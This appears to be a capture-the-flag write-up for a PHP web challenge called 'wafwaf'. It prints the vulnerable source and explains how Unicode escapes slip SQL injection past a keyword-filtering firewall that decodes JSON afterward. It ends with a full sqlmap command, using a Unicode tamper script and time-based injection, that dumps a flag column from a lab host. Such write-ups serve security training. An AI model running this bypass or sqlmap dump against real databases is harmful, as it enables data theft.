wafwaf - Web
Challenge Overview
This challenge presents a PHP application with a Web Application Firewall (WAF) that filters SQL injection attempts. The goal is to bypass the WAF and extract data from the database using SQL injection techniques.
Code Analysis
<?php error_reporting(0);
require 'config.php';
class db extends Connection {
public function waf($s) {
if (preg_match_all('/'. implode('|', array(
'[' . preg_quote("(*<=>|'&-@") . ']',
'select', 'and', 'or', 'if', 'by', 'from',
'where', 'as', 'is', 'in', 'not', 'having'
)) . '/i', $s, $matches)) die(var_dump($matches[0]));
return json_decode($s);
}
public function query($sql) {
$args = func_get_args();
unset($args[0]);
return parent::query(vsprintf($sql, $args));
}
}
$db = new db();
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$obj = $db->waf(file_get_contents('php://input'));
$db->query("SELECT note FROM notes WHERE assignee = '%s'", $obj->user);
} else {
die(highlight_file(__FILE__, 1));
}
?>
Application Structure
The application consists of a PHP script that:
- Accepts POST requests with JSON data
- Applies a WAF filter to the input
- Executes a SQL query using the filtered input
Key Components
class db extends Connection {
public function waf($s) {
if (preg_match_all('/'. implode('|', array(
'[' . preg_quote("(*<=>|'&-@") . ']',
'select', 'and', 'or', 'if', 'by', 'from',
'where', 'as', 'is', 'in', 'not', 'having'
)) . '/i', $s, $matches)) die(var_dump($matches[0]));
return json_decode($s);
}
public function query($sql) {
$args = func_get_args();
unset($args[0]);
return parent::query(vsprintf($sql, $args));
}
}
WAF Analysis
The WAF blocks the following:
- Special characters:
(*<=>|'&-@
- SQL keywords:
select
,and
,or
,if
,by
,from
,where
,as
,is
,in
,not
,having
The vulnerable SQL query:
$db->query("SELECT note FROM notes WHERE assignee = '%s'", $obj->user);
The key vulnerability lies in the WAF’s approach:
- The WAF filters the raw POST data as a string
- After filtering, it uses
json_decode()
to parse the JSON - The SQL query uses the decoded value directly
This creates an opportunity for Unicode encoding bypass.
Unicode Encoding Bypass
Unicode escape sequences (like \u0027
for single quote) are:
- Not detected by the regex-based WAF (they don’t match the literal characters)
- Properly decoded by
json_decode()
into their actual characters - Executed as normal SQL syntax
Here’s a practical example showing how Unicode encoding is properly decoded by json_decode()
and eventually bypass the WAF:
$ echo '{"user":"\u0077\u0061\u0066\u0020\u0062\u0079\u0070\u0061\u0073\u0073\u0065\u0064"}' | jq
{
"user": "waf bypassed"
}
What happens:
- The WAF sees the raw string:
\u0077\u0061\u0066\u0020\u0062\u0079\u0070\u0061\u0073\u0073\u0065\u0064
- The regex doesn’t match any blocked patterns (no literal “waf”, “bypassed”, etc.)
json_decode()
processes the Unicode escapes and converts them to:waf bypassed
- The actual SQL query receives the decoded string
This same principle applies to SQL injection payloads - blocked keywords and characters can be encoded as Unicode escapes to slip past the WAF.
The user
parameter in the JSON payload is directly inserted into the SQL query:
SELECT note FROM notes WHERE assignee = '[USER_INPUT]'
Since the WAF blocks standard SQL injection characters and keywords, we need to:
- Encode blocked characters using Unicode escapes
- Use time-based injection technique (since direct output is not visible)
Example payload structure:
{"user":"sqliHere in unicode"}
Using sqlmap with Unicode tamper script:
$ sqlmap -u http://94.237.48.12:41288 --method POST --data '{"user":"1*"}' -H 'Content-Type: application/json' --batch --tamper=charunicodeescape.py --technique=T -D db_m8452 -T definitely_not_a_flag -C flag --dump
written by 0xbara